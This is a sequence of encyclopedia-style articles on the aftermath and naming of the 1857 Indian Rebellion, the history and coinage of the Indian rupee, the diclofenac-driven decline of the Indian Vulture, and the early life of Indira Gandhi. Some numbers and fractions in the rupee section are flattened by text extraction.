          The British adopted a policy of "no prisoners", a policy which was enforced by means of massacre and mass executions. One officer, Thomas Lowe, later remembered how on one occasion his unit had taken 76 prisoners (they were just too tired to carry on killing and needed a rest, he recalled). Later, after a quick trial, the prisoners were all lined up with a British soldier standing a couple of yards in front of them. On the order "fire", they were all simultaneously shot, "swept... from their earthly existence". This was not the only mass execution Lowe participated in. On another occasion his unit took 149 prisoners, and once again they were lined up and all simultaneously shot.


          As a result, the end of the war was followed by the execution of a vast majority of combatants from the Indian side as well as large numbers of civilians perceived to be sympathetic to the rebel cause. The British press and British government did not advocate clemency of any kind, though Governor General Canning tried to be sympathetic to native sensibilities, earning the scornful sobriquet " Clemency Canning". Soldiers took very few prisoners and often executed them later. Whole villages were wiped out for apparent pro-rebel sympathies. The Indians called this retaliation "the Devil's Wind."


          
            
              To the steady beat of drums, the captured rebels were first stripped of their uniforms and then tied to cannons, their bellies pushed hard against the gaping mouths of the big guns. The order to fire was given. With an enormous roar, all the cannons burst into life at once, generating a cloud of black smoke that snaked into the summer sky. When the smoke cleared, there was nothing left of the rebels' bodies except their arms, still tied to the cannons, and their blackened heads, which landed with a soft thud on the baking parade ground. It was a terrible way to die and a terrible sight to witness.

            

          


          British historian Saul David, author of The Indian Mutiny, reckoned that the death toll ran into "hundreds of thousands".


          


          Reorganisation
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          Bahadur Shah was tried for treason by a military commission assembled at Delhi, and exiled to Rangoon where he died in 1862, finally bringing the Mughal dynasty to an end. In 1877 Queen Victoria took the title of Empress of India on the advice of her Prime Minister, Benjamin Disraeli.


          The rebellion saw the end of the British East India Company's rule in India. In August, by the Government of India Act 1858, the company was formally dissolved and its ruling powers over India were transferred to the British Crown. A new British government department, the India Office, was created to handle the governance of India, and its head, the Secretary of State for India, was entrusted with formulating Indian policy. The Governor-General of India gained a new title ( Viceroy of India), and implemented the policies devised by the India Office. The British colonial administration embarked on a program of reform, trying to integrate Indian higher castes and rulers into the government and abolishing attempts at Westernization. The Viceroy stopped land grabs, decreed religious tolerance and admitted Indians into civil service, albeit mainly as subordinates.


          Essentially the old East India Company bureaucracy remained, though there was a major shift in attitudes. In looking for the causes of the Mutiny the authorities alighted on two things: religion and the economy. On religion it was felt that there had been too much interference with indigenous traditions, both Hindu and Muslim. On the economy it was now believed that the previous attempts by the Company to introduce free market competition had undermined traditional power structures and bonds of loyalty, placing the peasantry at the mercy of merchants and money-lenders. In consequence the new British Raj was constructed in part around a conservative agenda, based on a preservation of tradition and hierarchy.


          On a political level it was also felt that the previous lack of consultation between rulers and ruled had been yet another significant factor in contributing to the uprising. In consequence, Indians were drawn into government at a local level. Though this was on a limited scale a crucial precedent had been set, with the creation of a new 'white collar' Indian elite, further stimulated by the opening of universities at Calcutta, Bombay and Madras, a result of the Indian Universities Act. So, alongside the values of traditional and ancient India, a new professional middle class was starting to arise, in no way bound by the values of the past. Their ambition can only have been stimulated by Victoria's Proclamation of November 1858, in which it is expressly stated that "We hold ourselves bound to the natives of our Indian territories by the same obligations of duty which bind us to our other subjects...it is our further will that... our subjects of whatever race or creed, be freely and impartially admitted to offices in our service, the duties of which they may be qualified by their education, ability and integrity, duly to discharge."


          Acting on these sentiments, Lord Ripon, vice-roy from 1880 to 1885, extended the powers of local self-government and sought to remove racial practices in the law courts by the Ilbert Bill. But a policy at once liberal and progressive at one turn was reactionary and backward at the next, creating new elites and confirming old attitudes. The Ilbert Bill only had the effect of causing a White Mutiny, and the end of the prospect of perfect equality before the law. In 1886 measures were adopted, moreover, to restrict Indian entry into the civil service.


          Militarily, the rebellion transformed both the "native" and European armies of British India. The British increased the ratio of British to Indian soldiers. Regiments which had remained loyal to the British were retained, and the number of Gurkha units, which had been crucial in the Delhi campaign, was increased. The inefficiencies of the old organisation, which had estranged sepoys from their British officers, were addressed, and the post-1857 units were mainly organised on the "irregular" system. (Before the rebellion, Bengal Infantry units had 26 British officers, who held every position of authority down to the second-in-command of each company. In irregular units, there were only six or seven or even fewer British officers, who associated themselves far more closely with their soldiers, while more trust and responsibility was given to the Indian officers.) Most new units were raised from among the so-called " Martial Races", which were not part of mainstream Indian culture. Sepoy artillery was abolished also, leaving all artillery (except some small detachments of mountain guns) in British hands. The post-rebellion changes formed the basis of the military organisation of British India until the early twentieth century.


          


          Debate about name


          There is no agreed name for the events of this period,


          
            	In India it has often been termed as the "War of Independence of 1857" or "First War of Independence" but it is not uncommon for people to continue to use terms such as the Sepoy Mutiny.


            	In the UK, it is commonly called the "Indian Mutiny", but other terms such as "Great Indian Mutiny", the "Sepoy Mutiny", the "Sepoy Rebellion", the "Sepoy War", the "Great Mutiny", the "Rebellion of 1857", the "Mahomedan Rebellion" and the "Revolt of 1857" have also been used.

          


          .


          
            
              	

              	A number of dispossessed dynasts, both Hindu and Muslim, exploited the well-founded caste-suspicions of the sepoys and made these simple folk their cat's paw in gamble for recovering their thrones. The last scions of the Delhi Mughals or the Oudh Nawabs and the Peshwa, can by no ingenuity be called fighters for Indian freedom

              	
            

          


          
            
              	

              	In the light of the available evidence, we are forced to the conclusion that the uprising of 1857 was not the result of careful planning, nor were there any master-minds behind it. As I read about the events of 1857, I am forced to the conclusion that the Indian national character had sunk very low. The leaders of the revolt could never agree. They were mutually jealous and continually intrigued against one another. ... In fact these personal jealousies and intrigues were largely responsible for the Indian defeat.

              	
            


            
              	

              	
                
                   Maulana Abul Kalam Azad
                

              
            

          


          William Dalrymple, in his recent work on the event, The Last Mughal, refers to it as "the Uprising".


          The use of the term "Indian Mutiny" is considered by some historians and Indian politicians as unacceptable and offensive, as it is perceived to belittle what they see as a "First War of Independence" and therefore reflecting a biased, imperialistic attitude of the erstwhile colonists.


          For example, in October, 2006, the Speaker of the Lok Sabha, the lower house of Indian Parliament said:


          
            
              	

              	The War of 1857 was undoubtedly an epoch-making event in Indias struggle for freedom. For what the British sought to deride as a mere sepoy mutiny was Indias First War of Independence in a very true sense, when people from all walks of life, irrespective of their caste, creed, religion and language, rose against the British rule.

              	
            


            
              	

              	
                
                   Chaterjee, Somnath - Office of the Speaker of the Lok Sabha
                

              
            

          


          Some politicians from Punjab however doubt this interpretation of events. A recent complication has emerged in that some Sikhs claim that the First Anglo-Sikh War (1845) should be called the first war of Indian independence.


          


          Debate about character


          Historians remain divided on whether the rebellion can properly be considered a war of Indian independence or not, although it is popularly considered to be one in India. Arguments against include:


          
            	A united India did not exist at that time in political terms;


            	The rebellion was put down with the help of other Indian soldiers drawn from the Madras Army, the Bombay Army and the Sikh regiments, 80% of the British forces were Indian ;


            	Many of the local rulers fought amongst themselves rather than uniting against the British, and in one or two cases revolts occurred in areas not under British rule as a result of local politics;


            	Many rebel Sepoy regiments disbanded and went home rather than fight;


            	Not all of the rebles accepted the return of the Moghuls.


            	The revolt was fractured along religious, ethnic and regional lines.

          


          
            
              	

              	"the demon of communalism also raised its head. The Muslims spat over the Hindus and openly defiled their houses by sprinkling them with cows' blood and placing cows' bones within the compounds. Concrete instances are given where Hindu Sepoy came into clash with Muslim hooligans and a complete riot ensued. The Hindus, oppressed by the Muslims, were depressed at the success of the Mutiny, and daily offered prayers to God for the return of "the English."

              	
            

          


          A second school of thought while acknowledging the validity of the above-mentioned arguments opines that this rebellion may indeed be called a war of India's independence. The reasons advanced are:


          
            	Even though the rebellion had various causes (e.g. Sepoy grievances, British high-handedness, the Doctrine of Lapse etc.), most of the rebel sepoys set out to revive the old Mughal empire, that signified a national symbol for them, instead of heading home or joining services of their regional principalities, which would not have been unreasonable if their revolt were only inspired by grievances;
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            	There was a widespread popular revolt in many areas such as Awadh, Bundelkhand and Rohilkhand. The rebellion was therefore more than just a military rebellion, and it spanned more than one region;


            	The sepoys did not seek to revive small kingdoms in their regions, instead they repeatedly proclaimed a "country-wide rule" of the Moghuls and vowed to drive out the British from "India", as they knew it then. (The sepoys ignored local princes and proclaimed in cities they took over: Khalq Khuda Ki, Mulk Badshah Ka, Hukm Subahdar Sipahi Bahadur Ka - i.e. the world belongs to God, the country to the Emperor and executive powers to the Sepoy Commandant in the city). The objective of driving out "foreigners" from not only one's own area but from their conception of the entirety of "India", signifies a nationalist sentiment;


            	The troops of the Bengal Army were used extensively in warfare by the British and had therefore travelled extensively across the Indian subcontinent, leading them perhaps to develop some notion of a nation-state called India. They displayed for the first time in this rebellion, some contemporary British accounts (Malleson) suggest, patriotic sentiments in the modern sense.

          


          Besides this, a contemporary British chronicler, Thomas Lowe, in Central India during the rebellion, wrote in 1860: "To live in India, now, was like standing on the verge of a volcanic crater, the sides of which were fast crumbling away from our feet, while the boiling lava was ready to erupt and consume us." Further, he exclaimed: "The infanticide Rajput, the bigoted Brahmin, the fanatic Mussalman, had joined together in the cause; cow-killer and the cow-worshipper, the pig-hater and the pig-eater had revolted together."


          In short, we may summarise the discussion in following terms.


          
            	If the criterion of a National War of Independence is set as "a war (or numerous conflicts) spread all over the nation cutting across regional lines", the rebellion in that case does not qualify as a war of India's independence.


            	If the criterion for a National War of Independence is set as "a war, which even if geographically confined to certain regions, is waged with the intention of driving out from the complete national area a power perceived to be foreign", then it was a war of national independence.

          


          This discussion shows that the term "national war" is subject to individual opinions and cannot be answered decisively.


          


          In popular culture


          The Government of India celebrated 2007 as the 150th anniversary of what Indians term as "India's First War of Independence". In the Union Budget of 2007, an amount of Rs. 10 crore was set aside for the celebration. The (British) National Army Museum in London mounted a display to mark the 150th anniversary on 10 May, 2007 and also has an ongoing online exhibition called "India Rising".


          
            	The 2005 Bollywood film Mangal Pandey: The Rising is set immediately prior to the outbreak of the Rebellion.


            	The 1981 Bollywood film Kranti is set during these times.


            	The 1978 Bollywood film Junoon was set in 1857.


            	In the 1984 Hollywood film Indiana Jones and the Temple of Doom, the Rebellion is referenced by Captain Philip Blumburtt while discussing the Thuggees at a dinner hosted by the Maharajah of the fictitious princely state of Pankot


            	The film King of the Khyber Rifles is set during this time (although the book is set during World War I).


            	The book Flashman in the Great Game (5th book in the Flashman series) is a historical novel by George MacDonald Fraser set in India during the rebellion and involves many of the locations and persons involved.


            	The episode of the ITV TV series The Adventures of Sherlock Holmes The Sign of Four is set in (in a flash back) but mainly after the Mutiny and revolves around the fate of loot from the conflict.


            	The novel Nightrunners of Bengal by John Masters is set during the rebellion.


            	The novel The Siege of Krishnapur by J.G. Farrell shows three facets of the rebellion - the British, the Sepoys and the Indian princes.


            	The game Age of Empires 3: The Asian Dynasties uses the rebellion as basis for one of its campaigns.
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              	ISO 4217 Code

              	INR
            


            
              	User(s)

              	India, Bhutan
            


            
              	Inflation

              	5.3%
            


            
              	Source

              	The World Factbook, 2006 est.
            


            
              	Pegged by

              	
                INR = Bhutanese ngultrum


                INR = 1.6 Nepalese rupee

              
            


            
              	Subunit

              	
            


            
              	1/100

              	paisa
            


            
              	Symbol

              	Rs, ₨, रु, रू, or ৳
            


            
              	Coins

              	
            


            
              	Freq. used

              	25, 50 paise, Re. 1, Rs. 2, Rs. 5
            


            
              	Rarely used

              	5, 10, 20 paise
            


            
              	Banknotes

              	
            


            
              	Freq. used

              	Rs. 5, Rs. 10, Rs. 20, Rs. 50, Rs. 100, Rs. 500
            


            
              	Rarely used

              	Rs. 1000
            


            
              	Central bank

              	Reserve Bank of India
            


            
              	Website

              	www.rbi.org.in
            


            
              	Mint

              	India Government Mint
            

          


          The Indian rupee (Hindi: रुपया) is the currency of India. The issuance of the currency is controlled by the Reserve Bank of India. The most commonly used symbols for the rupee are Rs, ₨ and रू. The ISO 4217 code for the Indian rupee is INR. The modern rupee is subdivided into 100 paise (singular paisa).


          In most parts of India, the rupee is known as the rupee, roopayi, rupaye, rubai or one of the other terms derived from the Sanskrit rupyakam (Devnagari: रूप्यकं), raupya meaning silver; rupyakam meaning (coin) of silver. However, in West Bengal, Tripura, Orissa, and Assam, the Indian rupee is officially known by names derived from the Sanskrit ṭanka. Thus, the rupee is called টাকা ṭaka in Bengali, টকা tka in Assamese, and ଟଙ୍କା ṭngka in Oriya, with the symbol ৳, and is written as such on Indian banknotes.


          In Jan 2008 the exchange rate was roughly Rs 40 to USD 1.


          


          Numeral system


          As is standard in Indian English, large values of Indian rupees are counted in terms of thousands, lakh (100 thousand = 105 rupees, in digits 100,000), crore (100 lakhs = 107 rupees, in digits 10,000,000) and arawb (100 crore = 109 rupees, in digits 1,000,000,000). The use of million or billion, as is standard in American or British English, is far less common.


          For example, the amount INR 1,25,84,729.25 is spoken as one crore twenty-five lakhs eighty-four thousand seven hundred twenty-nine rupees and twenty-five paise (see Indian numbering system).


          


          History


          India was one of the earliest issuers of coins (circa 6th century BC). The first "rupee" is believed to have been introduced by Sher Shah Suri (1486-1545), based on a ratio of 40 copper pieces (paisa) per rupee. Among the earliest issues of paper rupees were those by the Bank of Hindustan (1770-1832), the General Bank of Bengal and Bihar (1773-75, established by Warren Hastings) and the Bengal Bank (1784-91), amongst others.


          During British rule, and the first decade of independence, it was subdivided into 16 annas. Each anna was subdivided into 4 paise (also written pice) or 12 pies. Until 1815, the Madras Presidency also issued a currency based on the fanam, with 12 fanams equal to the rupee.


          Historically, the rupee, derived from the Sanskrit word raupya, which means silver, was a silver coin. This had severe consequences in the nineteenth century, when the strongest economies in the world were on the gold standard. The discovery of vast quantities of silver in the U.S. and various European colonies resulted in a decline in the relative value of silver to gold. Suddenly the standard currency of India could not buy as much from the outside world. This event was known as "the fall of the rupee."


          In 1898, the rupee was tied to the gold standard through the British pound by pegging the rupee at a value of 1 shilling 4 pence (i.e., 15 rupees = 1pound). In 1920, the rupee was increased in value to 2 shillings (10 rupees = 1pound). However, in 1927, the peg was once more reduced, this time to 1 shilling 6 pence (13⅓ rupees = 1pound). This peg was maintained until 1966, when the rupee was devalued and pegged to the U.S. dollar at a rate of 7.5 rupees = 1 dollar (at the time, the rupee became equal to 11.4 British pence). This peg lasted until the U.S. dollar devalued in 1971.


          The Indian rupee replaced the Danish Indian rupee in 1845, the French Indian rupee in 1954 and the Portuguese Indian escudo in 1961. Following independence in 1947, the Indian rupee replaced all the currencies of the previously autonomous states. Some of these states had issued rupees equal to those issued by the British (such as the Travancore rupee). Other currencies included the Hyderabad rupee and the Kutch kori.


          In 1957, decimalisation occurred and the rupee was divided into 100 naye paise (Hindi for "new paise"). In 1964, the initial "naye" was dropped. Many still refer to 25, 50 and 75 paise as 4, 8 and 12 annas respectively, not unlike the usage of " bit" in American English for ⅛ dollar.


          


          International use


          With Partition, the Pakistani rupee came into existence, initially using Indian coins, and Indian currency notes simply overstamped with Pakistan. In previous times, the Indian rupee was regarded as an official currency of other countries, including Kuwait, Bahrain, Qatar, the Trucial States (now the UAE), and Malaysia. The Gulf rupee, also known as the Persian Gulf rupee (XPGR), was introduced by the Indian government as a replacement for the Indian rupee for circulation exclusively outside the country with the Reserve Bank of India [Amendment] Act, May 1, 1959. This creation of a separate currency was an attempt to reduce the strain put on India's foreign reserves by gold smuggling. After India devalued the rupee on June 6, 1966, those countries still using it - Oman, Qatar and what is now the United Arab Emirates (known as the Trucial States until 1971) - replaced the Gulf rupee with their own currencies. Kuwait and Bahrain had already done so in 1961 and 1965 respectively.


          The Indian rupee is also linked with the Bhutanese Ngultrum. The Indian rupee is also accepted in towns of Nepalese side of Nepal-India border and some Indian shops in the United Kingdom.


          


          Coins


          


          East India Company, -1862


          The three Presidencies established by the British East India Company ( Bengal, Bombay and Madras) each issued their own coinages up to 1835. All three issued rupees together with fractions down to ⅛ and 116 rupee in silver. Madras also issued 2 rupees coins.


          Copper denominations were more varied. Bengal issued 1 pie, , 1 and 2 paise. Bombay issued 1 pie, , , 1, 1, 2 and 4 paise. In Madras, there were copper coins for 2, 4 pies, 1, 2 and 4 paisa, with the first two denominated as  and 1 dub or 196 and 148 rupee. Note that Madras also issued the Madras fanam until 1815.


          All three Presidencies issued gold mohurs and fractions of mohurs, including 116, ⅛,  and  in Bengal, 115 (a gold rupee) and ⅓ (pancia) in Bombay and , ⅓ and  in Madras.


          In 1835, a single coinage for the EIC was introduced. It consisted of copper 112,  and  anna, silver ,  and 1 rupee and gold 1 and 2 mohurs. In 1841, silver 2 annas were added, followed by copper  pice in 1853. The coinage of the EIC continued to be issued until 1862, even after the Company had been taken over by the Crown.


          


          Regal Issues, 1862-1947


          In 1862, coins were introduced which are referred to as Regal issues. They bore the portrait of Queen Victoria and the designation "India". Denominations were 112 anna,  pice,  and  anna (all in copper), 2 annas, ,  and 1 rupee (silver) and 5 and 10 rupees and 1 mohur (gold). The gold denominations ceased production in 1891 while no  anna coins were issued dated later than 1877.


          In 1906, bronze replaced copper for the lowest three denominations and in 1907, a cupro-nickel 1 anna was introduced. In 1918 and 1919, cupro-nickel 2, 4 and 8 annas were introduced, although the 4 and 8 annas coins were only issued until 1921 and did not replace their silver equivalents. Also in 1918, the Bombay mint struck gold sovereigns and 15 rupee coins identical in size to the sovereigns as an emergency measure due to the First World War.


          In the early 1940s, several changes were implemented. The 112 anna and  pice ceased production, the  anna was changed to a bronze, holed coin, cupro-nickel and nickel-brass  anna coins were introduced, nickel-brass was used to produce some 1 and 2 annas coins, and the composition of the silver coins was reduced from 91.7% to 50%. The last of the regal issues were cupro-nickel ,  and 1 rupee pieces minted in 1946 and 1947.


          


          Independent Issues, Predecimal, 1950-1957


          Indias first coins after independence were issued in 1950. They were 1 pice, , 1 and 2 annas, ,  and 1 rupee denominations. The sizes and compositions were the same as the final Regal issues, except for the 1 pice, which was bronze but not holed.


          


          Independent Issues, Decimal, 1957-


          The first decimal issues of India consisted of 1, 2, 5, 10, 25 and 50 naye paise and 1 rupee. The 1 naya paisa was bronze, the 2, 5 and 10 naye paise were cupro-nickel and the 25 and 50 naye paise and 1 rupee were nickel. In 1964, the word naya(e) was removed from all the coins. Between 1964 and 1967, aluminium 1, 2, 3, 5 and 10 paise were introduced. In 1968, nickel-brass 20 paise were introduced, replaced by aluminium coins in 1982. Between 1972 and 1975, cupro-nickel replaced nickel in the 25 and 50 paise and the 1 rupee. In 1982, cupro-nickel 2 rupees coins were introduced. In 1988, stainless steel 10, 25 and 50 paise were introduced, followed by 1 rupee coins in 1992. Also in 1992, the 5 rupee coin was introduced.


          The coins commonly in circulation are 25 and 50 paise, 1, 2 and 5 rupees. 5, 10, and 20 paise coins, although valid, have become increasingly rare in regular usage.


          
            
              	Circulating Coins
            


            
              	Value

              	Technical parameters

              	Description

              	Date of
            


            
              	Diameter

              	Mass

              	Composition

              	Shape

              	Obverse

              	Reverse

              	first minting

              	last minting
            


            
              	5 paise

              	22mm (diagonal)

              	1.5 g

              	Aluminium

              	Square

              	Emblem of India

              	Value

              	1957

              	1994
            


            
              	10 paise

              	16mm

              	2 g

              	Ferritic stainless steel

              	Circular

              	1961

              	1998
            


            
              	20 paise

              	27mm (longest)

              	2.2 g

              	Aluminium

              	Hexagon

              	1982

              	1994
            


            
              	25 paise

              	19mm

              	2.83 g

              	Ferritic stainless steel

              	Circular

              	Emblem of India, value

              	Rhinoceros

              	1973

              	
            


            
              	50 paise

              	22mm

              	3.79 g

              	Parliament of India, map of India

              	
            


            
              	Rs. 1

              	25mm

              	4.85 g

              	Emblem of India

              	Value, wheat

              	1976

              	
            


            
              	Rs. 2

              	26mm

              	6 g

              	Cupronickel

              	Hendecagon

              	Emblem of India, value

              	Flag and map of India

              	1990

              	
            


            
              	Rs. 5

              	23mm

              	9 g

              	Circular

              	Emblem of India

              	Value, flower

              	1992

              	
            


            
              	For table standards, see the coin specification table.
            

          


          The coins are minted at the four locations of the India Government Mint.


          


          Convertibility


          Officially, the Indian rupee has a market determined exchange rate. However, the RBI trades actively in the INR/USD currency market to impact effective exchange rates. Thus, the currency regime in place for the Indian rupee with respect to the US dollar is a de facto controlled exchange rate. This is sometimes called a dirty or managed float. Other rates such as the INR/EUR and INR/JPY have volatilities that are typical of floating exchange rates. It should be noted, however, that unlike China, successive administrations (through RBI, the central bank) have not followed a policy of pegging the INR to a specific foreign currency at a particular exchange rate. RBI intervention in currency markets is solely to deliver low volatility in the exchange rates, and not to take a view on the rate or direction of the Indian rupee in relation to other currencies.


          RBI also exercises a system of capital controls in addition to the intervention (through active trading) in the currency markets. On the current account, there are no currency conversion restrictions hindering buying or selling foreign exchange (though trade barriers do exist). On the capital account, foreign institutional investors have convertibility to bring money in and out of the country and buy securities (subject to certain quantitative restrictions). Local firms are able to take capital out of the country in order to expand globally. But local households are restricted in their ability to do global diversification. However, owing to an enormous expansion of the current account and the capital account, India is increasingly moving towards de facto full convertibility.


          


          Chronology


          
            	1991 - India began to lift restrictions on its currency. A series of reforms remove restrictions on current account transactions including trade, interest payments & remittances and on some capital assets-based transactions.


            	1997 - A panel set up to explore capital account convertibility recommended India move towards full convertibility by 2000, but timetable abandoned in the wake of the 1997-98 East Asian financial crisis.


            	2006 - The Prime Minister, Dr Manmohan Singh, asks the Finance Minister and the Reserve Bank of India to prepare a road map for moving towards capital account convertibility. The report that came about was sharply criticized by experts.

          


          


          Currency bill tracking


          In 2007, a Currency bill tracking project ( TrackGandhi) was started to track the spread and usage of Rupee banknotes.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Indian_rupee"
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              	Indian Vulture
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                  Indian vulture
                

              
            


            
              	Conservation status
            


            
              	
                
                  [image: ]

                  Critically Endangered( IUCN 3.1)
                

              
            


            
              	Scientific classification
            


            
              	
                
                  
                    	Kingdom:

                    	Animalia

                  


                  
                    	Phylum:

                    	Chordata

                  


                  
                    	Class:

                    	Aves

                  


                  
                    	Order:

                    	Falconiformes

                  


                  
                    	Family:

                    	Accipitridae

                  


                  
                    	Genus:

                    	Gyps

                  


                  
                    	Species:

                    	G. indicus

                  

                

              
            


            
              	Binomial name
            


            
              	Gyps indicus

              ( Scopoli, 1786)
            


            
              	Synonyms
            


            
              	
                Gyps indicus indicus

              
            

          


          The Indian Vulture, Gyps indicus, is an Old World vulture in the family Accipitridae, which also includes eagles, kites, buzzards and hawks. It is closely related to the European Griffon Vulture, G. fulvus. It breeds on crags or in trees in mountains in Pakistan and India, laying one egg. Birds may form loose colonies. The population is mostly resident.


          The birds in the eastern part of its range, formerly considered a subspecies, have been shown to constitute a separate species, the Slender-billed Vulture Gyps tenuirostris. Previously, both were lumped together under the name Long-billed Vulture.


          Like other vultures it is a scavenger, feeding mostly from carcasses of dead animals which it finds by soaring over savannah and around human habitation. They often move in flocks.


          The Long-billed Vulture is a typical vulture, with a bald head, very broad wings and short tail. It is smaller and less heavily-built than European Griffon, usually weighs between 5.5 and 6.3 kg. It is distinguished from that species by its less buff body and wing coverts. It also lacks the whitish median covert bar shown by Griffon.


          


          Diclofenac poisoning


          
            [image: Long billed Vulture in flight]

            
              Long billed Vulture in flight
            

          


          The Indian Vulture and the Indian White-rumped Vulture, G. bengalensis species have suffered a 99% - 97% population decrease in Pakistan & India and the cause of this has been identified as poisoning caused by the veterinary drug diclofenac. Diclofenac is a non-steroidal anti-inflammatory drug (NSAID) and when given to working animals it can reduce joint pain and so keep them working for longer. The drug is believed to be swallowed by vultures with the flesh of dead cattle which were given diclofenac in the last days of life. Diclofenac causes kidney failure in several species of Vultures. . In March 2005 the Indian Government announced its support for a ban on the veterinary use of diclofenac. Another NSAID, meloxicam, has been found to be harmless to vultures and should prove to be an acceptable substitute to diclofenac. In March 2006 diclofenac was still being used for animals throughout India and the changes in Indian legislation are awaited. When meloxicam production is increased it is hoped that it will be as cheap as diclofenac.


          


          Captive breeding programmes


          Captive breeding programmes for several species of Indian vultue have been started. The vultures are long lived and slow in breeding, so the programmes are expected to take decades. Vultures reach breeding age at about 5 years old. It is hoped that captive breed birds will be released back to the wild when the environment is clear of diclofenac.
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                  5th and 8th Prime Minister of India
                

              
            


            
              	Inoffice

              15 January 1980 31 October 1984
            


            
              	President

              	Neelam Sanjiva Reddy

              Giani Zail Singh
            


            
              	Precededby

              	Choudhary Charan Singh
            


            
              	Succeededby

              	Rajiv Gandhi
            


            
              	Inoffice

              19 January 1966 24 March 1977
            


            
              	President

              	Sarvepalli Radhakrishnan, Zakir Hussain, Varahagiri Venkata Giri, Muhammad Hidayatullah, Varahagiri Venkata Giri, and Fakhruddin Ali Ahmed
            


            
              	Precededby

              	Gulzarilal Nanda
            


            
              	Succeededby

              	Morarji Desai
            


            
              	
                


                
                  Minister for External Affairs of India
                

              
            


            
              	Inoffice

              9 March 1984 31 October 1984
            


            
              	Precededby

              	P. V. Narasimha Rao
            


            
              	Succeededby

              	Rajiv Gandhi
            


            
              	Inoffice

              21 August 1967 14 March 1969
            


            
              	Precededby

              	Mahommedali Currim Chagla
            


            
              	Succeededby

              	Dinesh Singh
            


            
              	
                


                
                  Finance Minister of India
                

              
            


            
              	Inoffice

              26 June 1970 29 April 1971
            


            
              	Precededby

              	Morarji Desai
            


            
              	Succeededby

              	Yashwantrao Chavan
            


            
              	
                


                
                  President of the Indian National Congress
                

              
            


            
              	Inoffice

              1959  1959

              1978  1984
            


            
              	Precededby

              	U N Dhebar

              Dev Kant Baruah
            


            
              	Succeededby

              	Neelam Sanjiva Reddy

              Rajiv Gandhi
            


            
              	
                

              
            


            
              	Born

              	19 November 1917(1917-11-19)

              Allahabad, United Provinces, British India
            


            
              	Died

              	October 31, 1984 (aged66)

              New Delhi, India
            


            
              	Nationality

              	Indian
            


            
              	Politicalparty

              	Indian National Congress
            


            
              	Spouse

              	Feroze Gandhi
            


            
              	Children

              	Rajiv Gandhi and Sanjay Gandhi
            


            
              	Religion

              	Hindu
            

          


          
            [image: A young Indira Nehru and Mahatma Gandhi, during one of his fasts]

            
              A young Indira Nehru and Mahatma Gandhi, during one of his fasts
            

          


          Indira Priyadarshini Gandhi (Hindi: Indirā Priyadarśinī Gāndhī) ( ne: Nehru) ( 19 November 1917 - October 31, 1984) was the Prime Minister of the Republic of India for three consecutive terms from 1966 to 1977 and for a fourth term from 1980 until her assassination in 1984. She was India's first and to date only female Prime Minister.


          Born in the politically influential Nehru dynasty, she grew up in an intensely political atmosphere. Her grandfather, Motilal Nehru, was a prominent Indian nationalist leader. Her father, Jawaharlal Nehru was a pivotal figure in the Indian independence movement and the first Prime Minister of Independent India. Returning to India from Oxford in 1941, she became involved in the Indian Independence movement.


          In the 1950s, she served her father unofficially as a personal assistant during his tenure as India's first Prime Minister. After her father's death in 1964, she was appointed as a member of the Rajya Sabha by the President of India and became a member of Lal Bahadur Shastri's cabinet as Minister of Information and Broadcasting.


          The then Congress Party President K. Kamaraj was instrumental in making Indira Gandhi the Prime Minister after the sudden demise of Shastri. Gandhi soon showed an ability to win elections and outmaneuver opponents through populism. She introduced more left-wing economic policies and promoted agricultural productivity. A crushing victory in the 1971 war with Pakistan was followed by a period of instability that led her to impose a state of emergency in 1975; she paid for the authoritarian excesses of the period with three years in opposition. Returned to office in 1980, she became increasingly involved in an escalating conflict with separatists in Punjab that eventually led to her assassination by her own bodyguards in 1984.


          


          Early life


          
            [image: The Nehru family - Motilal Nehru is seated in the center, and standing (L to R) are Jawaharlal Nehru, Vijayalakshmi Pandit, Krishna Hutheesing, Indira, and Ranjit Pandit; Seated: Swaroop Rani, Motilal Nehru and Kamala Nehru (circa 1927).]

            
              The Nehru family - Motilal Nehru is seated in the centre, and standing (L to R) are Jawaharlal Nehru, Vijayalakshmi Pandit, Krishna Hutheesing, Indira, and Ranjit Pandit; Seated: Swaroop Rani, Motilal Nehru and Kamala Nehru (circa 1927).
            

          


          Indira Priyadarshini, was born on November 19, 1917 to Pandit Jawaharlal Nehru and his young wife Kamala Nehru. She was their only child. The Nehru family can trace their ancestry to the Brahmins of Jammu and Kashmir and Delhi. Indira's grandfather Motilal Nehru was a wealthy barrister of Allahabad in Uttar Pradesh. Nehru was one of the most prominent members of the Indian National Congress in pre-Gandhi times and would go on to author the Nehru Report, the people's choice for a future Indian system of government as opposed to the British system. Her father Nehru was a well-educated lawyer and was a popular leader of the Indian Independence Movement. At the time of Indira's birth, Nehru entered the independence movement under the leadership of Mahatma Gandhi.


          Growing up in the sole care of her mother, who was sick and alienated from the Nehru household, Indira developed strong protective instincts and a loner personality. Her grandfather and father continually being enmeshed in national politics also made mixing with her peers difficult. She had conflicts with her father's sisters, including Vijayalakshmi Pandit, and these continued into the political world.


          Indira created the Vanara Sena movement for young girls and boys which played a small but notable role in the Indian Independence Movement, conducting protests and flag marches, as well as helping Congress politicians circulate sensitive publications and banned materials. In an often-told story, she smuggled out from her father's police-watched house an important document in her schoolbag that outlined plans for a major revolutionary initiative in the early 1930s.


          In 1936, her mother, Kamala Nehru, finally succumbed to tuberculosis after a long struggle. Indira was 18 at the time and thus never experienced a stable family life during her childhood. She attended prominent Indian, European and British schools like Santiniketan, Badminton School and Oxford, but she showed no great aptitude for academics, and was detained from obtaining a degree.


          While studying at Somerville College, University of Oxford, England, during the late 1930s, she became a member of the radical pro-independence London based India League.


          In her years in continental Europe and the UK, she met a Parsi, Feroze Gandhi, a Congress activist, and eventually married him on 16 March 1942 at Anand Bhawan Allahabad in a private Adi Dharm Brahmo Vedic ceremony still noted for its unconventionality. Just before the beginning of the Quit India Movement - the final, all-out national revolt launched by Mahatma Gandhi and the Congress Party. In September 1942 they were arrested by the British authorities and detained without charge. She was ultimately released on 13 May 1943 having spent over 243 days in jail. In 1944, she gave birth to Rajiv Gandhi with Feroze Gandhi, followed two years later by Sanjay Gandhi.


          During the chaotic Partition of India in 1947, she helped organize refugee camps and provide medical care for the millions of refugees from Pakistan. This was her first exercise in major public service.


          The Gandhis later settled in Allahabad where Feroze worked with a Congress Party newspaper and an insurance company. Their marriage started out well, but deteriorated later as she moved to New Delhi to be at the side of her father, the Prime Minister at the time, who was living alone in a high-pressure environment at Teen Murti Bhavan. She became his confidante, secretary and nurse. Her sons lived with her, but she eventually became permanently separated from Feroze, though they remained married.


